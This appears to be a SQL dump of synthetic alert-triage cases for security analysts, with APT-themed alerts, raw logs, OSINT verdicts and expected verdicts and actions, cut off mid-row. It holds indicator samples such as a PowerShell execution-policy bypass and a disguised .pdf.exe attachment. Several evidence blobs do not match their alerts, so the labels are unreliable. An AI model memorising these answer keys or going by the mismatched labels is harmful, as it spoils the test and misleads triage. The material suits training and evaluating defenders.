(1760, 'Fancy Bear Brute Force Attack from Unusual Location', 'high', 'Proofpoint', 'Detected multiple failed login attempts from an IP associated with Fancy Bear, targeting the VPN portal.', 'Brute Force', 'T1110', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T13:47:25Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.100\",\"dst_ip\":\"192.168.1.20\",\"username\":\"vpn_user\",\"hostname\":\"VPN-GATEWAY\",\"failed_attempts\":35}', '2026-03-15 19:55:05', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.100\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported for brute force attacks multiple times\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP of the VPN gateway\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"vpn_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Username targeted in brute force attacks\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The attack pattern and source IP align with known Fancy Bear activities targeting VPN infrastructures.\"}', 'Expert', 'TI', 9, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Fancy Bear Brute Force Attack from Unusual Location\",\"date\":\"2026-03-15T20:58:16.236Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1761, 'Legitimate Admin Activity Misclassified as Lateral Movement', 'medium', 'Wazuh', 'Detected internal admin activity misinterpreted as lateral movement due to unusual use of PowerShell across the network.', 'Lateral Movement', 'T1077', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T12:10:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.15\",\"dst_ip\":\"10.0.0.20\",\"username\":\"admin_user\",\"hostname\":\"IT-SERVER\",\"command_line\":\"powershell -ExecutionPolicy Bypass -File C:\\\\scripts\\\\update.ps1\"}', '2026-03-15 19:55:05', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Source IP of the admin server\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Destination IP of the admin activity\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"powershell -ExecutionPolicy Bypass -File C:\\\\scripts\\\\update.ps1\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Routine script execution for maintenance\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"Routine administrative tasks were misclassified due to the nature of PowerShell usage across the network.\"}', 'Expert', 'TI', 9, 1, 'RETAIL', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.237Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch.\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T12:10:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.15\\\",\\\"dst_ip\\\":\\\"10.0.0.20\\\",\\\"username\\\":\\\"admin_user\\\",\\\"hostname\\\":\\\"IT-SERVER\\\",\\\"command_line\\\":\\\"powershell -ExecutionPolicy Bypass -File C:\\\\\\\\scripts\\\\\\\\update.ps1\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.237Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T12:10:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.15\\\",\\\"dst_ip\\\":\\\"10.0.0.20\\\",\\\"username\\\":\\\"admin_user\\\",\\\"hostname\\\":\\\"IT-SERVER\\\",\\\"command_line\\\":\\\"powershell -ExecutionPolicy Bypass -File C:\\\\\\\\scripts\\\\\\\\update.ps1\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.237Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T12:10:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.15\\\",\\\"dst_ip\\\":\\\"10.0.0.20\\\",\\\"username\\\":\\\"admin_user\\\",\\\"hostname\\\":\\\"IT-SERVER\\\",\\\"command_line\\\":\\\"powershell -ExecutionPolicy Bypass -File C:\\\\\\\\scripts\\\\\\\\update.ps1\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.237Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T12:10:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.15\\\",\\\"dst_ip\\\":\\\"10.0.0.20\\\",\\\"username\\\":\\\"admin_user\\\",\\\"hostname\\\":\\\"IT-SERVER\\\",\\\"command_line\\\":\\\"powershell -ExecutionPolicy Bypass -File C:\\\\\\\\scripts\\\\\\\\update.ps1\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.237Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T12:10:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.15\\\",\\\"dst_ip\\\":\\\"10.0.0.20\\\",\\\"username\\\":\\\"admin_user\\\",\\\"hostname\\\":\\\"IT-SERVER\\\",\\\"command_line\\\":\\\"powershell -ExecutionPolicy Bypass -File C:\\\\\\\\scripts\\\\\\\\update.ps1\\\"}\"}],\"query\":\"index=main source=\\\"/var/ossec/logs/alerts/alerts.json\\\" | head 100\"}}', 0),
(1762, 'False Detection of SQL Injection on Public Website', 'low', 'Firewall', 'Firewall alert triggered by legitimate parameter inputs misidentified as SQL injection attempts.', 'Web Attack', 'T1190', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T15:00:00Z\",\"event_type\":\"web_request\",\"src_ip\":\"198.51.100.50\",\"dst_ip\":\"192.168.1.30\",\"username\":\"guest\",\"hostname\":\"WEB-SERVER\",\"request_body\":\"SELECT * FROM users WHERE username=\'admin\' AND password=\'pass123\'\"}', '2026-03-15 19:55:05', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.50\",\"is_critical\":false,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"clean\",\"details\":\"IP not associated with any known malicious activity\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.30\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP of the web server\"}},{\"id\":\"artifact_3\",\"type\":\"payload\",\"value\":\"SELECT * FROM users WHERE username=\'admin\' AND password=\'pass123\'\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Legitimate parameter input for application testing\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"web_attack\",\"analysis_notes\":\"The alert was triggered by normal application testing activities, not an actual SQL injection attempt.\"}', 'Expert', 'TI', 9, 1, 'RETAIL', NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1763, 'APT41 Fileless Malware Detected via Process Hollowing', 'critical', 'ThreatConnect', 'A process hollowing attack initiated by APT41 was detected on an internal server. The malware operates in memory only, making it difficult to detect using traditional methods.', 'Malware', 'T1055', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T03:24:56Z\",\"event_type\":\"process_execution\",\"src_ip\":\"203.0.113.88\",\"dst_ip\":\"10.0.2.15\",\"username\":\"jdoe\",\"hostname\":\"corp-server-01\",\"command_line\":\"svchost.exe --inject --target=explorer.exe\",\"file_hash\":\"9f2c1e9d1e4a2b2b4a6a5f5f4a8e2d9c\"}', '2026-03-15 19:55:37', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.88\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 1023 times for fileless malware activities\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"9f2c1e9d1e4a2b2b4a6a5f5f4a8e2d9c\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash linked to APT41 fileless malware campaigns\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"svchost.exe --inject --target=explorer.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Detected as process hollowing technique\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"APT41 is a known actor utilizing fileless malware techniques like process hollowing.\"}', 'Expert', 'TI', 9, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.239Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch.\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T03:24:56Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"203.0.113.88\\\",\\\"dst_ip\\\":\\\"10.0.2.15\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"corp-server-01\\\",\\\"command_line\\\":\\\"svchost.exe --inject --target=explorer.exe\\\",\\\"file_hash\\\":\\\"9f2c1e9d1e4a2b2b4a6a5f5f4a8e2d9c\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.239Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T03:24:56Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"203.0.113.88\\\",\\\"dst_ip\\\":\\\"10.0.2.15\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"corp-server-01\\\",\\\"command_line\\\":\\\"svchost.exe --inject --target=explorer.exe\\\",\\\"file_hash\\\":\\\"9f2c1e9d1e4a2b2b4a6a5f5f4a8e2d9c\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.239Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T03:24:56Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"203.0.113.88\\\",\\\"dst_ip\\\":\\\"10.0.2.15\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"corp-server-01\\\",\\\"command_line\\\":\\\"svchost.exe --inject --target=explorer.exe\\\",\\\"file_hash\\\":\\\"9f2c1e9d1e4a2b2b4a6a5f5f4a8e2d9c\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.239Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T03:24:56Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"203.0.113.88\\\",\\\"dst_ip\\\":\\\"10.0.2.15\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"corp-server-01\\\",\\\"command_line\\\":\\\"svchost.exe --inject --target=explorer.exe\\\",\\\"file_hash\\\":\\\"9f2c1e9d1e4a2b2b4a6a5f5f4a8e2d9c\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.239Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T03:24:56Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"203.0.113.88\\\",\\\"dst_ip\\\":\\\"10.0.2.15\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"corp-server-01\\\",\\\"command_line\\\":\\\"svchost.exe --inject --target=explorer.exe\\\",\\\"file_hash\\\":\\\"9f2c1e9d1e4a2b2b4a6a5f5f4a8e2d9c\\\"}\"}],\"query\":\"index=main source=\\\"/var/ossec/logs/alerts/alerts.json\\\" | head 100\"}}', 0),
(1764, 'Lazarus Group Phishing Campaign Using Spoofed Domains', 'high', 'MISP', 'A phishing email from a domain mimicking a trusted partner was identified, containing a malicious link intended to harvest credentials.', 'Phishing', 'T1566.001', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T06:45:12Z\",\"event_type\":\"email_received\",\"src_ip\":\"198.51.100.23\",\"username\":\"mwhite\",\"hostname\":\"mail-server-02\",\"email_sender\":\"no-reply@trusted.com\",\"url\":\"http://login.trusted.com/secure-update\"}', '2026-03-15 19:55:37', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP used in multiple phishing campaigns linked to Lazarus Group\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://login.trusted.com/secure-update\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"URL is a known phishing landing page\"}},{\"id\":\"artifact_3\",\"type\":\"email\",\"value\":\"no-reply@trusted.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Email address used in spoofing attempts\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The email domain closely resembles a trusted partner, indicating a sophisticated phishing attempt by Lazarus Group.\"}', 'Expert', 'TI', 9, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.241Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T06:45:12Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"username\\\":\\\"mwhite\\\",\\\"hostname\\\":\\\"mail-server-02\\\",\\\"email_sender\\\":\\\"no-reply@trusted.com\\\",\\\"url\\\":\\\"http://login.trusted.com/secure-update\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.241Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T06:45:12Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"username\\\":\\\"mwhite\\\",\\\"hostname\\\":\\\"mail-server-02\\\",\\\"email_sender\\\":\\\"no-reply@trusted.com\\\",\\\"url\\\":\\\"http://login.trusted.com/secure-update\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.241Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T06:45:12Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"username\\\":\\\"mwhite\\\",\\\"hostname\\\":\\\"mail-server-02\\\",\\\"email_sender\\\":\\\"no-reply@trusted.com\\\",\\\"url\\\":\\\"http://login.trusted.com/secure-update\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.241Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T06:45:12Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"username\\\":\\\"mwhite\\\",\\\"hostname\\\":\\\"mail-server-02\\\",\\\"email_sender\\\":\\\"no-reply@trusted.com\\\",\\\"url\\\":\\\"http://login.trusted.com/secure-update\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.241Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T06:45:12Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"username\\\":\\\"mwhite\\\",\\\"hostname\\\":\\\"mail-server-02\\\",\\\"email_sender\\\":\\\"no-reply@trusted.com\\\",\\\"url\\\":\\\"http://login.trusted.com/secure-update\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1765, 'Cozy Bear APT29 DGA Domain Communication Detected', 'critical', 'Recorded Future', 'Network traffic analysis revealed communication with a domain generated by a Domain Generation Algorithm (DGA) associated with Cozy Bear.', 'Data Exfil', 'T1071.004', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T09:30:45Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.25\",\"dst_ip\":\"203.0.113.55\",\"hostname\":\"workstation-07\",\"domain\":\"xj3slkjv.com\"}', '2026-03-15 19:55:37', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.55\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"IP associated with DGA domains used by Cozy Bear\"}},{\"id\":\"artifact_2\",\"type\":\"domain\",\"value\":\"xj3slkjv.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"DGA domain linked to Cozy Bear C2 infrastructure\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal workstation IP\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The detected DGA domain is known to be used by Cozy Bear for covert data exfiltration.\"}', 'Expert', 'TI', 9, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.244Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:30:45Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.25\\\",\\\"dst_ip\\\":\\\"203.0.113.55\\\",\\\"hostname\\\":\\\"workstation-07\\\",\\\"domain\\\":\\\"xj3slkjv.com\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.244Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:30:45Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.25\\\",\\\"dst_ip\\\":\\\"203.0.113.55\\\",\\\"hostname\\\":\\\"workstation-07\\\",\\\"domain\\\":\\\"xj3slkjv.com\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.244Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:30:45Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.25\\\",\\\"dst_ip\\\":\\\"203.0.113.55\\\",\\\"hostname\\\":\\\"workstation-07\\\",\\\"domain\\\":\\\"xj3slkjv.com\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.244Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:30:45Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.25\\\",\\\"dst_ip\\\":\\\"203.0.113.55\\\",\\\"hostname\\\":\\\"workstation-07\\\",\\\"domain\\\":\\\"xj3slkjv.com\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.244Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:30:45Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.25\\\",\\\"dst_ip\\\":\\\"203.0.113.55\\\",\\\"hostname\\\":\\\"workstation-07\\\",\\\"domain\\\":\\\"xj3slkjv.com\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1766, 'Fancy Bear APT28 Supply Chain Attack via GitHub', 'high', 'Anomali', 'APT28 utilized a compromised GitHub repository to deliver a malicious update, executing a payload on the victim\'s system.', 'Malware', 'T1195', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T11:17:31Z\",\"event_type\":\"process_execution\",\"src_ip\":\"203.0.113.101\",\"dst_ip\":\"10.1.1.100\",\"username\":\"admin\",\"hostname\":\"update-server\",\"file_hash\":\"abc1234567890def1234567890abcdef\",\"command_line\":\"malicious_update.exe\"}', '2026-03-15 19:55:37', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.101\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP associated with Fancy Bear\'s supply chain attacks\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"abc1234567890def1234567890abcdef\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Malicious update file used in supply chain attack\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"malicious_update.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Execution of malicious payload\"}}],\"expected_actions\":[\"block_hash\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"APT28 is known for supply chain attacks using compromised repositories.\"}', 'Expert', 'TI', 9, 1, 'ENERGY', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.246Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:17:31Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"203.0.113.101\\\",\\\"dst_ip\\\":\\\"10.1.1.100\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"update-server\\\",\\\"file_hash\\\":\\\"abc1234567890def1234567890abcdef\\\",\\\"command_line\\\":\\\"malicious_update.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.246Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:17:31Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"203.0.113.101\\\",\\\"dst_ip\\\":\\\"10.1.1.100\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"update-server\\\",\\\"file_hash\\\":\\\"abc1234567890def1234567890abcdef\\\",\\\"command_line\\\":\\\"malicious_update.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.246Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:17:31Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"203.0.113.101\\\",\\\"dst_ip\\\":\\\"10.1.1.100\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"update-server\\\",\\\"file_hash\\\":\\\"abc1234567890def1234567890abcdef\\\",\\\"command_line\\\":\\\"malicious_update.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.246Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T11:17:31Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"203.0.113.101\\\",\\\"dst_ip\\\":\\\"10.1.1.100\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"update-server\\\",\\\"file_hash\\\":\\\"abc1234567890def1234567890abcdef\\\",\\\"command_line\\\":\\\"malicious_update.exe\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.246Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 